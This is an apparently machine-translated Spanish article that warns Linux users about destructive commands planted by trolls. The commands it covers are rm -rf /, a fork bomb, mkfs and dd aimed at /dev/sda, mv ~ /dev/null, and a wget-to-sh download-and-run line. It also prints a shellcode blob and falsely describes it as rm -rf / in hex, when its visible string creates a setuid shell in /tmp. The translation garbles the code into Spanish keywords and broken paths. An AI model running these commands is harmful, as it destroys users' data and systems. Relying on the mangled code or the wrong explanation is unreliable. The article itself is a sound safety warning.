8 comandos letales que nunca deberías ejecutar en Linux
Los comandos de terminal de Linux son poderosos, y Linux no le pedirá confirmación si ejecuta un comando que romperá su sistema. No es raro ver trolls en línea que recomiendan a los nuevos usuarios de Linux ejecutar estos comandos como una broma.
Aprender los comandos que no debe ejecutar puede ayudarlo a protegerse de los trolls al tiempo que aumenta su comprensión de cómo funciona Linux. Esta no es una guía exhaustiva, y los comandos aquí pueden ser remezclados de varias maneras.
Tenga en cuenta que muchos de estos comandos solo serán peligrosos si tienen el prefijo sudo en Ubuntu - no funcionarán de otra manera. En otras distribuciones de Linux, la mayoría de los comandos deben ejecutarse como root.
Crédito de la imagen: Skull and Crossbones remezclado de Jason Ford en Twitter
rm -rf / - Borra todo!
El comando rm -rf / elimina todo lo que pueda, incluidos los archivos en su disco duro y los archivos en dispositivos de medios extraíbles conectados. Este comando es más comprensible si está desglosado:
rm - Eliminar los siguientes archivos.
-rf - Ejecute rm recursivamente (elimine todos los archivos y carpetas dentro de la carpeta especificada) y elimine por la fuerza todos los archivos sin preguntarle.
/ - Le dice a rm que comience en el directorio raíz, que contiene todos los archivos en su computadora y todos los dispositivos de medios montados, incluidos los recursos compartidos remotos y las unidades extraíbles.
Linux alegremente obedecerá este comando y eliminará todo sin preguntarle, ¡así que tenga cuidado al usarlo! El comando rm también se puede utilizar de otras formas peligrosas - rm -rf ~ borraría todos los archivos en su carpeta de inicio, mientras que rm -rf. * borraría todos tus archivos de configuración.
La leccion: Cuidado rm -rf.
Disfrazado rm -rf /
Aquí hay otro fragmento de código que está en toda la web:
char esp [] __attribute__ ((sección (“. texto”))) / * e.s.p
lanzamiento */
= "\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68"
"\ Xff \ xff \ xff \ xff \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99"
"\ Xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7"
"\ X56 \ x04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ x83 \ xc4 \ x74 \ x56"
"\ X8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ xcd \ x80 \ x31"
"\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ x62 \ x69"
“\ X6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00”
“Cp -p / bin / sh /tmp/.beyond; chmod 4755
/tmp/.beyond; ”;
Esta es la versión hexadecimal de rm -rf / - ejecutar este comando borraría tus archivos como si hubieras ejecutado rm -rf /.
La leccion: No ejecute comandos raramente disfrazados que no entiende.
: () : |: & ;: - Fork Bomb
La siguiente línea es una función de bash de aspecto simple pero peligrosa:
: () : |: & ;:
Esta línea corta define una función de shell que crea nuevas copias de sí misma. El proceso se replica continuamente, y sus copias se replican, ocupando rápidamente todo su tiempo de CPU y memoria. Esto puede causar que su computadora se congele. Es básicamente un ataque de denegación de servicio..
La leccion: Las funciones de Bash son poderosas, incluso muy cortas..
Crédito de la imagen: Dake en Wikimedia Commons
mkfs.ext4 / dev / sda1 - Formatea un disco duro
los mkfs.ext4 / dev / sda1 El comando es fácil de entender:
mkfs.ext4 - Crea un nuevo sistema de archivos ext4 en el siguiente dispositivo.
/ dev / sda1 - Especifica la primera partición en el primer disco duro, que probablemente esté en uso.
En conjunto, este comando puede ser equivalente a ejecutar el formato c: en Windows: borrará los archivos de la primera partición y los reemplazará con un nuevo sistema de archivos..
Este comando puede venir en otras formas también - mkfs.ext3 / dev / sdb2 formatearía la segunda partición en el segundo disco duro con el sistema de archivos ext3.
La leccion: Tenga cuidado al ejecutar comandos directamente en dispositivos de disco duro que comienzan con / dev / sd.
comando> / dev / sda - Escribe directamente en un disco duro
los comando> / dev / sda La línea funciona de manera similar: ejecuta un comando y envía la salida de ese comando directamente a su primer disco duro, escribe los datos directamente en el disco duro y daña su sistema de archivos..
mando - Ejecutar un comando (puede ser cualquier comando).
> - Envíe la salida del comando a la siguiente ubicación.
/ dev / sda - Escriba la salida del comando directamente en el dispositivo de disco duro.
La leccion: Como se indicó anteriormente, tenga cuidado con los comandos que involucran dispositivos de disco duro que comienzan con / dev / sd.
dd if = / dev / random of = / dev / sda - Escribe basura en un disco duro
los dd if = / dev / random of = / dev / sda La línea también borrará los datos de uno de sus discos duros..
dd - Realice copias de bajo nivel de una ubicación a otra.
if = / dev / random - Use / dev / random (datos aleatorios) como entrada, también puede ver ubicaciones como / dev / zero (ceros).
de = / dev / sda - Salida al primer disco duro, reemplazando su sistema de archivos con datos aleatorios de basura.
La leccion: dd copia datos de una ubicación a otra, lo que puede ser peligroso si está copiando directamente a un dispositivo.
Crédito de la imagen: Matt Rudge en Flickr
mv ~ / dev / null - Mueve su directorio de inicio a un agujero negro
/ dev / null es otra ubicación especial: mover algo a / dev / null es lo mismo que destruirlo. Piense en / dev / null como un agujero negro. Esencialmente, mv ~ / dev / null envía todos tus archivos personales a un agujero negro.
mv - Mueva el siguiente archivo o directorio a otra ubicación.
~ - Representa toda su carpeta de inicio.
/ dev / null - Mueva su carpeta de inicio a / dev / null, destruyendo todos sus archivos y borrando las copias originales.
La leccion: El carácter ~ representa su carpeta de inicio y mover cosas a / dev / null las destruye.
wget http://example.com/something -O - | sh - Descarga y ejecuta un script
La línea anterior descarga un script de la web y lo envía a sh, que ejecuta el contenido del script. Esto puede ser peligroso si no está seguro de qué es el script o si no confía en su origen. No ejecute scripts que no sean de confianza..
wget - Descarga un archivo. (También puedes ver un rizo en lugar de wget).
http://example.com/something - Descarga el archivo desde esta ubicación..
| - Canalice (envíe) la salida del comando wget (el archivo que descargó) directamente a otro comando.
sh - Envía el archivo al comando sh, que lo ejecuta si es un script de bash.
La leccion: No descargue ni ejecute scripts no confiables desde la web, incluso con un comando.
¿Conoce algún otro comando peligroso que los usuarios nuevos (y experimentados) de Linux no deberían ejecutar? Deja un comentario y compártelos.!